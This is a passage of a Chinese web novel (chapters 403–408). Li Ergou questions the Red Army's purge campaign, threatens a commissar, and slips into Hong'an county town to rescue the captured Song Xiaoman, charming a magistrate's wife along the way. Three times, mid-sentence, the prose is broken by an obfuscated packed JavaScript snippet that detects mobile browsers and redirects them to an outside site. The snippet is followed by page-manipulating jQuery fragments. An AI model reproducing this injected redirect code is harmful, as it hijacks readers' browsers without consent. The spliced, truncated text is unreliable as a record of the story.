宋小曼听得眼睛湿了又干,干了又湿,他没想到李二狗短短时间内竟然经历了这么多,更没想到李二狗内心是一个有理想有抱负的男人。 “你现在已经到达我们红军根据地,你找到自己的理想了吗?” “说实话,还没有!” 李二狗的回答出乎宋小曼的意料。 她多么渴望李二狗可以加入红军队伍,两个人并肩作战,一起为了革命的胜利而奋斗! “为什么?我们红军是为穷苦老百姓打天下的队伍,而且你也看到了,有那么多的百姓拥护我们红军,难道你认为我们红军不好吗?” “小曼,这几天我始终想不明白一件事,你们所谓的肃反运动为什么会抓出那么多的反革命分子?如果红军当中有那么多反革命分子,那你们还是革命的队伍吗?” 李二狗的质问令宋小曼哑口无言。 “二狗,其实我们党已经认识到这个问题的严重性,现在正在采取措施解决肃反运动扩大化的问题。” “很可惜我还没有看到,我只看到一个特派员可以轻易掌握一个团的生杀大权,他可以不经任何审判、没有任何证据的情况下肆意决定一个团长的生死,这真得太可怕了!” “二狗,其实真得不是你看到的那样……” “小曼,我不相信自己看到的,那我相信什么?” 不光根据地发生的事情令李二狗有所犹豫,在武汉的时候,他也亲眼看到了黄一博的叛变。 如果理想足够崇高,为何又要当叛徒呢? 李二狗百思不得其解! 这时,外面突然传来一声公鸡的鸣叫,打断了李二狗的思绪,两个人竟恳谈了一夜。 第403章 宋小曼被捕 “二狗,我真心希望你能考虑加入我们。” 再次见面,宋小曼特别渴望李二狗能够留在自己身边,两人一起并肩作战的场景,想一想就令人无比激动。 “小曼,如果我勉强留下来,我怕以后自己会是段团长那样的结果,你愿意那样吗?我的脾气秉性你是了解的,我不是一个委曲求全的人。” 李二狗一句话令宋小曼彻底破防。 她眼泪低垂,紧紧握住李二狗的双手。 “二狗,你是知道的,我只希望你好。” 李二狗不忍宋小曼如此伤心,便安慰道:“小曼,再给我一些时间吧,也许等了解的更深入一些,我会加入你们的。” 宋小曼对自己心中的信仰十分笃定,她知道,李二狗现阶段之所以不愿意加入,完全是因为他对组织的不了解。 目前组织确实面临着严峻的考验,其中有内忧也有外患。 但一个组织的发展壮大,中间肯定会经历很多挫折,会多走很多弯路,但她始终相信,只要最高理想和最终奋斗目标不变,前途一定是光明的。 “我等你。” 两人双手紧握,四目相对,眼神中流露出的浓情蜜意都恨不得吃了对方。 正当两人准备进一步深入探讨生命的起源时,突然出现一阵咳嗽声。 张泽明推门从屋里走了出来。 他看到李二狗和宋小曼卿卿我我的腻歪模样,脸阴得都快能掐出水来。 这时,王湘云也开门走了出来。 “姐,你们不会是一夜没睡吧?你们都干了什么?” 王湘云真是杀人诛心,本来张泽明就醋意大发,听到王湘云说两人一夜没睡更是恨得牙痒痒,鬼知道他们一晚上都做了什么。 要不是因为自己没钱,他恨不得立即咬碎自己的三颗后槽牙。 张泽明没有说话,拉着一张驴脸直接出了门。 宋小曼无奈地说道:“湘云,你不说话没人把你当哑巴。” 王湘云完全看不出自己说的哪句话惹恼了张泽明。 “姐,我没说什么啊?再说我说的是你们,他给我甩什么脸子啊?哼,真是讨厌!” 王湘云嘟囔着嘴去洗漱了,接着代小芳也开门走了出来,看到宋小曼二人还坐在原来的地方,脸上也是惊讶的表情。 你侬我侬,忒煞情多!真是羡煞他人! “我去洗刷。”她赶紧拿着毛巾快步走了出去。 李二狗没想到,一个小小的工作队,仅有四个人,关系还整得如此复杂。 和清风寨的风清气朗比起来,这里实在是太压抑了。 “二狗,你想什么呢?要不要进去睡一会?” 一夜未睡,此时李二狗确实感觉自己的两个眼皮在打架,最近几天,他实在是太累了。 “我去哪睡?” 刚刚张泽明的态度,他实在不愿意去他屋里。 宋小曼猜到了李二狗的顾虑,便说道:“待会吃过早饭,我们要出去开展工作,到时候你去我床上睡。” 李二狗腆着一张笑脸说道:“让他们去不就行吗?你还要去啊?” 宋小曼当即会意,羞得脸通红,她内心又何尝不想?! “会有机会的,你先好好休息。”宋小曼红着脸安慰道。 李二狗此时心里就像有一万只小蚂蚁在爬,他感觉一秒钟都等不了。 “好了,我现在带你去洗漱,吃过饭之后你好好休息,晚上我就回来了。” 李二狗只能叹息一声,幽幽地说道:“好吧,我养精蓄锐,以待时机,嘿嘿。” “你……哼,真是讨厌死了!” 几个人吃早饭的时候,张泽明依然拉着一张驴脸,只顾着自己低头吃饭,一句话也不说。 其他人自觉无趣,也不好多说什么,一顿早饭吃得索然无味。 吃过早饭之后,宋小曼留下李二狗在房间休息,他们一行人便出去开展宣传动员工作了。 李二狗躺在宋小曼的床上,仿佛能嗅到她身上的那股茉莉体香。 他把被子放在鼻子上嗅了嗅,还未来得及胡思乱想很快便睡了过去。 “砰砰砰!” 李二狗被一阵急促的砸门声惊醒。 紧接着又是一阵急剧的砸门声。 “有人吗?” “谁?” “我是喜儿!” 听到是喜儿的声音,李二狗立刻翻身下床,打开房门,喜儿已经流泪满面。 “喜儿,你怎么了?” “大哥,小曼姐她……出事了!” 一听到宋小曼出事,李二狗一把抓住喜儿的肩膀,着急地问道:“喜儿,小曼她出什么事?” “她……她被捕了!” 李二狗的第一反应是宋小曼被所谓的那些特派员抓了起来。 “她现在在哪里?” “我不知道啊!” “那是哪个狗日的特派员下令抓的?” “特派员?”喜儿一脸疑惑,“哪有什么特派员?是国民党反动派抓了她!” 李二狗心想,被国民党反动派抓住还好,至少她不会立刻被枪毙,自己还有时间去把她救出来。 “她被抓到哪里去了?” “我不知道。” “那她是什么时候被抓的?” “我不知道。” 喜儿全是一问三不知,李二狗不打算在她身上浪费时间。 “喜儿,你赶紧回家,我出去看看。” “大哥,你要去哪?” “我去救人!” 喜儿还想问什么时,李二狗早已跑出了院子。 此时天色已经擦黑,李二狗没想到自己竟然睡了整整一天。 刚出院子就遇到了葛二蛋,虽说情敌见面分外眼红,但如今宋小曼被捕,两人顿时有了共同的目标:救出宋小曼。 “葛队长,你知道宋小曼被抓到哪里去了吗?” “刚刚新一团的来人说,宋部长被捕后已经被押走了,目前去向不明。” “到底是怎么一回事?她怎么会被捕呢?” 葛二蛋此刻内心也是十分悲痛。 “现在我们根据地已经被数倍的敌人围住,到处都在打仗。今天上午,新一团被国民党的一个师团团围住,战斗打得异常惨烈,新一团拼命突破敌人三道封锁线才撤进了大山里。” 李二狗只想知道宋小曼的事情,而葛二蛋却叨叨起新一团的事没完没了。 第404章 千万不要伤害特派员 “葛队长,新一团被围,和宋小曼被捕有什么关系?” “哎,宋部长今天早上就是去的新一团驻地。” 李二狗心里问候了张胜利祖宗十八代,要不是他执意把团长宋千里关押起来,也许新一团不会被敌人如此轻易地包了饺子。 “新一团的人突围了,就把宋小曼她们这几个弱女子丢给敌人?他们还算男人吗?” 葛二蛋不知道该说什么,他心里又何尝不是骂了新一团千万遍。 “新一团现在在哪里?我要见他们。” “来报信的人还没走,正在牛村长家里吃饭,我带你去。” 两人快步来到牛得草家中,一个衣衫褴褛的战士正在吃饭。 看到李二狗,两人都大惊失色。 战士扔下饭碗便要去拿靠在土墙上的那杆步枪,却被李二狗抢先夺到手里。 两人的举动把牛得草和葛二蛋惊呆了,不明白他们初次见面为何要这样大动干戈! “村长,他是特务!你们快把他抓起来!” 战士眼瞅着丢了枪,便转头向牛得草求救。 原来这个战士就是前两天在山崖上对李二狗执行枪毙的人。 “孩子,你误会了,他不是特务,他是宋部长的老乡,是个好人。”牛得草急忙解释道。 “可他……” 其实这名战士早就对特派员在团里的所作所为有所不满,如果不是他把团长宋千里抓起来并执意执行枪决,也许他们新一团这次不会损失这么大。 李二狗心里一直惦记着宋小曼,他不想和他过多地纠缠,直接“咔嚓”一声拉动了一下枪栓,吓得这名战士腿肚子打颤。 “我不想和你扯淡,我问你,你知道和你们团作战的是国民党哪支部队吗?” “不知道。” “那他们现在在哪?” “不知道。” 又是一个一问三不知的人。 “你们团现在哪里?马上带我去!”李二狗突然说道。 听到李二狗要去新一团,这名战士吓得有些不知所措,他这不是找死吗? 更何况这个人前两天已经被枪毙,如果此时突然出现在团部,那自己说谎的事情就暴露了。 可枪在人家手里,他哪敢不从?! “我们团……在离这里二十里路的一个山沟里。” “马上带我去!” 葛二蛋也担心宋小曼的安危。 “我和你一起去。” 李二狗背起步枪,三个人便急匆匆上了路。 山路难行,等他们走到新一团临时驻地的时候,天边已经露出鱼肚白。 “站住!什么人?” “是我,陈家旺。” 听到是自己人,躲在一棵大树后面的红军战士才露出头来。 “家旺,他们是?” “他们是杨家村的民兵,特意来向胡政委汇报情况,胡政委现在哪里?” “胡政委在前面的那个山洞里。” 李二狗经过这个站岗战士面前的时候,这个战士感觉李二狗非常眼熟,好像以前在哪里见过似的,但一时又想不起来。 陈家旺带着李二狗和葛二蛋来到山洞。 胡天佑一夜未睡,眼睛周围是很大的两个黑眼圈,而张胜利则躺在山洞一角的草堆上正睡得香甜。 “政委,杨家村的人找你。” 胡天佑抬头见是李二狗,惊得差点喊出声来,他下意识地看了一眼正在熟睡中的张胜利。 “你怎么来了?赶紧离开这里!” 李二狗没想到新一团吃了这么大的败仗,张胜利还能睡得如此踏实。 他故意抬高声音说道:“我是特地来向张大特派员自首的!” 胡天佑低声说道:“李先生,我们出去说。” 李二狗站着没有动,他突然大声说道:“特派员,我来向你自首了。” 胡天佑难以置信地看着李二狗,不知道他到底想做什么?这不是纯找死吗? 张胜利终于从睡梦中醒来。 “谁在喊我?” 他从草堆上坐起来,伸了个懒腰。 陈家旺见张胜利醒来,吓得赶紧退出了山洞。 “是我找你,特派员!” 迷糊中的张胜利觉得这个声音好熟悉,好像在哪里听过。 他循着声音望去,看见有两个陌生人站在胡天佑身边,其中一个人看着确实有些面熟。 他从草堆上站起身,慢慢走到李二狗面前,李二狗给了他一个鄙夷的笑容。 这个笑容立刻让他想起了李二狗,因为没有人敢对他这样。 “你……你不是被枪毙了吗?” 张胜利只记得李二狗被枪毙了,根本记不起是谁执行的枪决。 “是啊,我是被枪毙了,可我头盖骨硬,子弹没打进去!” 张胜利当然不会相信李二狗的鬼话。 他大喊一声:“快来人,把这个特务给我抓起来!” 胡天佑无奈地叹了一口气,早就劝你离开,你偏不听,现在想走也走不了了! 葛二蛋吓坏了,站在那里不知道该如何是好。 “他不是特务,他是宋……” “他是不是特务还用你来告诉我吗?把这个人给我一起抓起来!” 从山洞外走进来两个战士,他们互相瞅了一眼,便分别去抓李二狗和葛二蛋。 “谁敢动?” 李二狗不知道什么时候,手里已经握住一把手枪,对准了张胜利的脑袋。 张胜利顿时吓得面如土色。 “你……你要干什么?你知道我是谁吗?” 李二狗甩手给了张胜利一个耳刮子,在山洞里显得格外响亮。 “你他娘的爱是谁是谁?关老子屁事!” “你……” 张胜利被这一巴掌打得有些不知所措,结结巴巴地说不出话来。 “李先生,请你冷静一点!千万不要伤害特派员!” 胡天佑嘴上在劝,双腿却站在原地没有动。 “胡政委,你看看你们新一团,现在还剩几个人?” 经过昨天一天激烈的战斗,新一团目前只剩下三十多人,其中还包括十几名轻重伤员。 “这不能怪特派员,是敌人太凶残了。” “我的胡大政委,宋团长是怎么死的,你心里没数吗?这么多战士牺牲,你就没想想是为什么吗?” 张胜利反驳道:“革命哪有不牺牲的?我们既然参加了革命,就不怕流血牺牲!” 李二狗冷笑道:“是吗?你不怕牺牲?” 他突然移动枪口,对着洞顶开了一枪,张胜利吓得大叫一声,瘫在地上。 第405章 潜入红安县城 “别杀我,别杀我!” “废物!”李二狗痛骂道,“你们都出去,我和胡政委有话要说。” 两名战士同时看向瘫在地上的特派员,然后又看向胡天佑。 胡天佑鄙夷地看了一眼瘫在地上的张胜利,没想到平日里总把为**牺牲挂在嘴边的人,竟是个软蛋。 “你们先出去吧,没有我的命令,任何人不许进来!” 两名战士向胡天佑敬了一个军礼,然后转身离开了山洞。 李二狗对身边的葛二蛋说道:“二蛋,你看住他,要是他敢乱动,直接毙了!” 不知道为什么,李二狗自带一股强大的气场,他的命令,葛二蛋竟乖乖地服从了,就连他叫自己二蛋都显得十分亲切。 “李先生,你此次前来找我,到底是什么事?” “胡政委,我是来打听宋小曼去向的,她到底被抓到哪里了?” “当时情况紧急,我们在突围过程中宋部长受伤被俘,至于她被抓到哪里,现在还不知道。” 李二狗追问道:“那和你们打仗的是**哪支部队?” “**混编第一师,师长叫罗一鸣。” “他们现在在什么地方?” “应该在红安县城附近。” “红安县?” “就是以前的黄安县,我们建立了苏维埃政权之后改名叫红安县。” “现在红安县城还是你们红军在占领吗?” “哎,前两天已经沦陷了!” 李二狗判断,宋小曼可能就被关押在红安县城里面。 “胡政委,我听说你们上级组织正在采取措施阻止肃反运动扩大化的倾向,你们可不要再被某些别有用心的人欺骗了。” 红军装备落后,团里仅有的一部和上级进行联络的电台也被张胜利牢牢掌控,他确实不知道目前上级具体是什么指示。 “谢谢你,李先生,我会调查清楚的,你要去红安县城吗?” “对,我要去红安县城救出宋小曼!” 葛二蛋听得一愣一愣的。 眼前这个年轻俊朗的年轻人,竟要单枪匹马去救出**的重刑犯,简直太不可思议了。 “李先生,目前我们新一团已经失去了战斗力,恐怕不能给你提供什么帮助……” 李二狗微微一笑,摆手说道:“不用你们帮忙,我自己去!” 葛二蛋完全被李二狗的大无畏精神所征服。 “狗哥,我跟你一起去。” 李二狗知道此去县城肯定危机重重,他不想把葛二蛋牵扯进来。 “二蛋,你还是回杨家庄等消息吧,我不想连累你。” “狗哥,只要能救出宋部长,哪怕……” 葛二蛋本想说哪怕豁出自己的这条性命也在所不惜,但这话他不能和李二狗说。 “我有个叔叔在红安县城,我们可以先去找他打听打听情况。” 李二狗心想,自己到了红安县城,两眼一抹黑,确实需要找个当地熟人打听一下情况。 “好,二蛋兄弟,事不宜迟,我们马上去红安县城。” 胡天佑被李二狗和葛二蛋这种大无畏的精神所打动,说道:“我送你们出去。” 张胜利见李二狗要走,便扶着山洞的岩壁站了起来。 “李二狗,你休想走!” 李二狗这才想起张胜利这个祸害,他一不做二不休,转身走到张胜利跟前,一掌打晕了他。 “李先生,你别……” 胡天佑想出言阻止李二狗已来不及,好在李二狗只是把张泽明打晕,他本以为李二狗要痛下**。 “让他安静一会,不然我们走得也不安生。” 胡天佑把李二狗和葛二蛋一直送到一条山间小路上,用手指了指东方。 “李先生,你们沿着这条路一直往东走,翻过两座大山之后,会有一条向南的大路,大路的尽头就是红安县城,离这里大约有四十里路。” “胡政委,谢谢你,咱们后会有期。” 胡天佑握着李二狗的手,郑重地说道:“李先生,其实我非常想和你们一起去红安县城救人,但现在新一团情况特殊,我无法离开部队。请你们一定要救出宋部长,我代表新一团全体将士感谢你们,不然我会自责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327823|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一辈子。” “胡政委,放心吧,我一定会救出宋小曼。” 这句话既是对胡天佑的安慰,也是对自己的激励。 李二狗和葛二蛋一路奔驰,整整赶了一天的路,终于在天黑之前赶到了红安县城。 此时,红安县城的城门两侧站满了**检查的**士兵。 李二狗和葛二蛋身上都带着枪,他们不敢贸然进城。 “狗哥,我知道在县城城墙西侧的一个位置有一个洞,我们可以等到天黑之后从那里进城。” 李二狗知道葛二蛋说的洞就是狗洞,他以前钻过很多次,看来这次带着葛二蛋一起来红安县城,确实是一个正确的决定。 葛二蛋带着李二狗离开大路,辗转来到县城西侧的城墙。 两人一直等到夜幕降临,才来到一片杂草丛生的城墙底下。 葛二蛋在杂草中找了半天,终于在城墙根下找到一个小洞口,确实是狗洞无疑。 “狗哥,这洞口有点小,我先钻进去试试。” 葛二蛋俯身弯腰,从狗洞里钻了进去,李二狗紧跟着也钻了进去。 进入县城之后,葛二蛋带着李二狗直接来到他叔叔家中。 “二蛋,你怎么来了?” 葛二蛋的叔叔叫葛五四,是一家裁缝店的掌柜,他知道葛二蛋是村里的民兵队长,此时带着一个陌生人前来,内心不免有些打鼓。 “叔,我找你有事。” “先进来再说。” 等葛二蛋和李二狗进入屋中,葛五四向外观察了一番,没有发现异常情况之后才赶紧关上房门。 “二蛋啊,你难道不知道红安县城已经变天了吗?这个时候你来做什么?现在他们正在满大街抓捕**党、红军还有你们这些赤卫队员。” 葛二蛋内心不免有些不满,他没想到葛五四竟这么胆小怕事,在陌生人面前,一点面子都不给自己留。 “叔,你别紧张,我不会连累你的。” “你这孩子,叔是担心你,一家人说什么连不连累的。” 葛二蛋这才觉得自己在李二狗面前有了一点面子。 第406章 别把心事写在脸上 “叔,我给你介绍一下,这位是我的好兄弟李二狗。” 李二狗笑道:“大叔,打扰您了。” 葛五四一边倒水一边说道:“你是二蛋的好兄弟,咱们就是一家人,不打扰,不打扰。” “叔,现在县城是什么情况,你赶紧给我们讲讲。” 葛五四倒完水,招呼李二狗坐下,才说道:“前几天,国民党的部队攻下了红安县城,以前的县长贾清德又回来上任了,现在满大街都在抓捕红赤分子。” 李二狗问道:“驻扎在县城的国民党是哪支部队,您知道吗?” “县城里是有一支部队留了下来,但我不清楚他们部队的番号。” “那您知道这支部队的长官是谁吗?” 葛五四想了想,说道:“好像是姓罗,因为前几天贾清德的太太带着一位罗太太来我店里做旗袍,好像这个罗太太就是这支部队长官的太太。” “罗一鸣?” “这我不清楚,反正是姓罗,明天我打听一下,你们可千万不能出去,现在外边都是国民党的兵。” “叔,你去给我们拿点吃的吧,我们都一天没吃饭了。” “好好,厨房里有馒头,我再去给你们烧个汤。” 葛五四离开后,葛二蛋问道:“狗哥,咱们下一步怎么办?” “从刚才葛大叔说的情况分析,现在驻扎在红安县城的这支部队很可能就是罗一鸣的混编第一师。” 整整一个师的部队,葛二蛋不敢想如何才能把宋小曼救出来! “狗哥,就凭咱们两个人要想对付一个师,实在是太难了!” 李二狗不仅是一个勇敢的人,更是一个长于谋略之人。 罗一鸣的部队虽然是一个师,但不可能全部驻扎在县城里。 李二狗分析,这支部队肯定是以团为作战单位,分别驻扎在县城四周,甚至有可能驻扎在离县城很远的地方。 红安县城只是罗一鸣师部驻扎的地方,最多只有一个警卫连的兵力。 剩下的那些兵很可能是维护社会治安的保安团或者警察。 但就是这样的兵力,如果硬拼,十个李二狗肯定也不是对手。 不能硬拼,那就只能智取。 “二蛋,据我分析,如果宋小曼真是被这支部队抓住的,那肯定会被关押在县城的大牢里,作战部队是没有地方关押犯人的。” 葛二蛋深以为是,但就是这么一个简单的逻辑,如果不是李二狗点明,自己就是想破脑袋也想不出来,他还以为得冲进部队营地救人。 “狗哥,你说得对,那咱们下一步怎么办?” “现在最紧要的是先打听清楚宋小曼被关押在哪里。” 两个人都沉默了,这确实是一个棘手的问题。 “饭做好了,快吃吧。” 葛五四端来一锅稀饭和一筐馒头。 “大叔,太给您添麻烦了。” “别客气,快吃吧。” “大叔,您一起吃点吧?” “我吃过了,你们快吃吧,我还得去赶做旗袍,这个贾太太和罗太太催得紧,明天上午就得赶做出来。” “明天上午?” “对啊,明天上午。你们快吃吧,我去做衣服了。” 说者无意,听者有心,李二狗顿时觉得胃口大开,一口气喝了三碗稀饭,吃了六个馒头。 两人几乎同时打了一个长长的饱嗝。 “狗哥,接下来咱们做什么?” “睡觉!” “睡觉?” 葛二蛋心想,这都火烧眉毛了,哪里还有心思睡觉? “对,睡觉!” “狗哥,咱们得赶紧想出一个办法才行。” “梦里什么都有,赶紧睡吧。” 很快,李二狗的鼾声便响了起来,葛二蛋则是一夜未眠。 第二天一早,李二狗早早醒来,葛二蛋正躺在床上数羊。 “二蛋,昨晚睡得好吗?”李二狗笑问道。 葛二蛋实在想不明白,李二狗到底担不担心宋小曼,他怎么可以睡得如此踏实。 “哎,听了你一夜的鼾声。” “哈哈,睡不好哪有力气去救人?二蛋,别把心事写在脸上,天底下就没有解决不了的事情。” 尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331316|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 管知道李二狗在吹牛,但葛二蛋还是忍不住暗自佩服李二狗。 这样有魅力的男人,自己如果是个女人都想嫁给他。 李二狗来到院子里,葛五四正在做早饭。 “二狗,大叔一个人吗?” 葛二蛋一时没有反应过来。 “大叔没有妻儿吗?”李二狗只能说得更加直白。 “奥,哎……我婶子前些年生病去世了,我一个堂哥前两年被国民党抓了壮丁,至今生死不明,想来已是不在人世了。” 也是一个苦命人,李二狗心里感叹道。 在这个时代,一个人要想安安稳稳地过日子,是很难实现的。 如果要想过上幸福安定的生活,看来只能推翻这个旧时代。 “你们起这么早?怎么不多睡一会儿?” 葛五四把一盆稀饭端在桌上,旁边竹筐里放着几个窝头。 李二狗想到昨晚自己吃了那么多白面馒头,肯定影响了葛五四的正常生活,想想实在是惭愧。 “大叔,实在是太麻烦你了。” “你这孩子,总是这么客气,到这里就和到自己家一样,千万别客气。” “大叔,待会儿我去给贾太太她们送旗袍吧,您累了一晚上,在家好好歇歇。” 葛二蛋听得目瞪口呆,他真想立即跪倒在地,给李二狗磕三个响头。 “你是客人,哪能让你去送,待会儿我给送去就行。” “大叔,这点小事还是交给我去做吧,不然我真不好意思在您这里继续住下去。” “可……” 葛五四其实更担心的是李二狗的身份,他担心李二狗是赤卫队员,要是被国民党抓住,后果可想而知。 “大叔,我现在就是您店里的伙计,你就放心吧,我不会有事的。” “那就好,旗袍我已经装好了,一共两件,一件是贾夫人的,一件是罗夫人的。你先去县政府送给贾夫人,然后问问她,罗夫人的衣服怎么送。” “好的,大叔,我都记下了。” 吃过早饭之后,李二狗换上一身粗布衣服,提着两件旗袍出了门。 第407章 我应该比您大一岁 李二狗根据葛五四提供的地址,很快便来到县长贾清德的住宅。 由于国民党刚刚接管红安县城,时局动荡,为了安全起见,贾清德特意在自己家院门口安排了两名站岗的士兵,院子周边的街道上还有不时走动的警察。 这一切都在李二狗的意料之中。 “站住!干什么的?” 李二狗刚一靠近,一个站岗的士兵就拦住他的去路。 “老总,我是葛记裁缝店的伙计,来给贾太太送她在我们店里订制的旗袍。” 士兵上前检查了一下李二狗手中的礼盒,里面果然是一件精美的丝质旗袍。 “你先在这里等着,我进去向贾太太报告一声。” “那麻烦老总了。” 这名士兵进去不久便走了出来。 “你把旗袍给我吧。” 李二狗不慌不忙地说道:“老总,我们掌柜的特意吩咐,这是高端订制的旗袍,一定要让贾太太当场试穿,有不合适的地方我好记下来再拿回店里修改。” “他娘的,一件衣服还这么麻烦。” 李二狗赶紧掏出两盒烟,给两个站岗的士兵一人一盒。 “老总,这件旗袍是贾太太为了参加一个重要宴会而特意订制的,她要是穿着不合适,肯定会发脾气,到时候可别连累了老总,还是麻烦您再进去给贾太太说一声吧。” 站岗的士兵看了看手里的哈德门香烟,没想到裁缝店一个小小的伙计还这么会办事,不愧是高端订制店的伙计,有眼力劲! “好吧,你在这等着,我再进去向贾太太报告。” 不一会儿,士兵又走了出来。 “贾太太让你进去。” “谢谢老总。” 李二狗刚要进去,这名士兵却没有让开道路。 “进入人员一律要检查,把双手举起来。” 李二狗微笑着把双手举过头顶,士兵上前仔细搜查了一遍,没有发现什么异常,才让李二狗进去。 这是一栋四合院,院子很大,比胡家大院于兰芝住的院子还要大一些。 站岗士兵把李二狗带到一个大厅门前。 “贾太太,送旗袍的伙计到了。” “让他进来吧。” 李二狗走进大厅,贾太太正斜倚在椅子中,看模样大约三十岁上下,真真的是一个美少妇。 她身上穿着一件水绿色软缎旗袍,完美勾勒出她丰腴的曲线。 旗袍开衩处故意露出一截玉白的小腿,上面裹着肉色丝袜,脚上穿着一双绣珠拖鞋,随着摇椅的晃动轻轻蹭着地面。 一头乌黑的长发松松地挽在脑后,几缕碎发垂在白皙的脖子上,沾着一股若有似无的茉莉香粉。 耳垂上的珍珠耳环随着呼吸轻轻颤动着,映得她那张鹅蛋脸愈发白皙。 她手指上涂着蔻丹,正漫不经心地转动着一支象牙烟杆,红红的嘴唇衔着烟卷,吐出来的烟圈慢悠悠地散开,拂过她胸前那颗晶莹的翡翠吊坠。 察觉到门口的动静,她眼皮抬了抬,漫不经心地看了李二狗一眼。 只看了一眼,眼睛里便立刻有了色彩,那是老猎人见到梦寐以求的猎物时才有的眼神。 好英俊的一个精壮小伙。 但她脸上还是强作镇定,幽幽地问道:“你就是葛记裁缝店的伙计?以前我怎么没见过你?” 李二狗这些年已经练就了一双火眼金睛,尤其是对女人,他只要看一眼就知道这个女人是端庄淑丽还是水性杨花,贾太太无疑属于后者。 她刚才看李二狗的眼神,分明就是欲望长期得不到满足的女人看小奶狗的表情。 “我是葛掌柜的侄子,刚从乡下过来,以后还请贾太太您多多关照。” “嗯……”贾太太忍不住多看了李二狗两眼,“你们葛掌柜的手艺还是极好的。” “谢谢贾太太夸奖,这是我们掌柜的连夜给您赶制出来的旗袍,我们掌柜的一定让您试一试,有不合适的我好记下来回去修改。” 早上起床还因为昨夜的不愉快而一脸郁闷的贾太太此刻突然来了兴致。 她慵懒地起身时,故意用手不经意地撩了一下旗袍开叉处,然后一脸期待地看了李二狗一眼。 李二狗果然很配合地露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331317|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 出一副惊艳且没有见过世面的表情。 她扭动着腰肢走到李二狗跟前,那股茉莉香粉的气息令李二狗内心不禁有些躁动。 她伸出纤纤玉手,吐口如兰。 “把旗袍给我吧。” 李二狗这才回过神来,赶忙把手中的旗袍递到贾太太手中。 “贾太太,这个是您的旗袍,红色那件是罗太太的,不知道罗太太住在什么地方?我好给她送过去。” 贾太太知道罗太太也是一个压抑的女人,她怎么舍得把这么挠人心肝的小奶狗送到她面前。 “放在我这里就好,我给她送过去。” “那谢谢贾太太了,您快试试衣服吧,有不合适的地方我好记下来。” “你在这等着,我进去试一试。” 贾太太拿着旗袍,扭动着纤细的腰肢向卧室走去,那丰满的后臀,随着手臂的摆动而左右摇曳。 几分钟之后,贾太太穿着一身墨绿色紧身旗袍走了出来。 她像个羞涩少女在李二狗面前转了一圈。 “怎么样?合身吗?” 李二狗故意让自己表现出一种看呆的表情。 “三国不是早就没有了吗?怎么还有貂蝉呢?” 贾太太先是一愣,随即明白过来,笑得胸脯子一抖一抖的。 “你这小子,嘴可真会说,你今年多大了?” 李二狗适时表现出青涩的模样,嘴上却说道:“我应该比您大一岁。” “大一岁?”贾太太表情又是一愣。 “我今年十九岁。” 贾太太笑弯了腰,真是一个有情趣的小奶狗。 她就喜欢这样的男人,不像贾清德,在床上就是一根木头,还是巴沙木。 “你这小子,油嘴滑舌,我穿着到底怎么样啊?好看吗?” “好看,太好看了,就像画报上的电影明星一样。” “你可不要骗我呀。” 贾太太嘴上这样说着,心里却美滋滋的。 “不过……” 李二狗口中的这句“不过”立即勾起了贾太太的兴致。 第408章 乡下还能养出你这么俊俏的男人? “不过什么?” “贾太太,我在一张电影画报上看过一个女明星,她烫得那种波浪卷太适合您的气质和这身旗袍了。” 贾太太也是一个见多识广的女人,当然知道什么是波浪卷。 “哎,只可惜红安这样的小地方,根本没有烫发的地方。” “贾太太,不瞒您说,我会烫发。” “真的?你真会烫发?”贾太太又惊又喜。 “贾太太,我怎么敢骗您呢?” “那你能给我烫一个你说的那种波浪卷吗?” “当然可以啊,只不过……”李二狗又故意吊着贾太太的胃口。 贾太太果然上钩。 “只不过什么?你快说,我可以多给你钱。” “贾太太,为您这样美丽的女人烫发是我的荣幸,我怎么敢要您钱呢?只不过我没有烫发的工具。” 贾太太先是欣喜,继而又是遗憾,失望之情溢于言表。 “哎,想烫个发都这么难!” “不过也不是没有办法。” 李二狗话刚出口,贾太太立刻又打起了精神。 “什么办法?你快说。” “我可以自制一个烫发工具,不过得等到下午才能过来给您烫发。” 贾太太欣喜不已。 “好好好,那就下午,我在家等你。” 李二狗曾经给于兰芝烫过发,他经验丰富。 “贾太太,那我就先告辞了,等我下午准备好了再过来。” “好,你可一定要来啊。放心,姐姐我不会亏待你的。” 李二狗临走之前给了贾太太一个青涩无知的笑容,贾太太的心都酥了。 李二狗离开之后,立即去了一家铁匠铺,亲自指导铁匠打造了一个烫发用的铁棍。 过午之后,李二狗再次来到贾公馆。 门口站岗的士兵见到李二狗,脸上立即堆满了笑容。 “你终于来了,贾太太都等着急了。” 李二狗笑了笑,慢慢举起了双手。 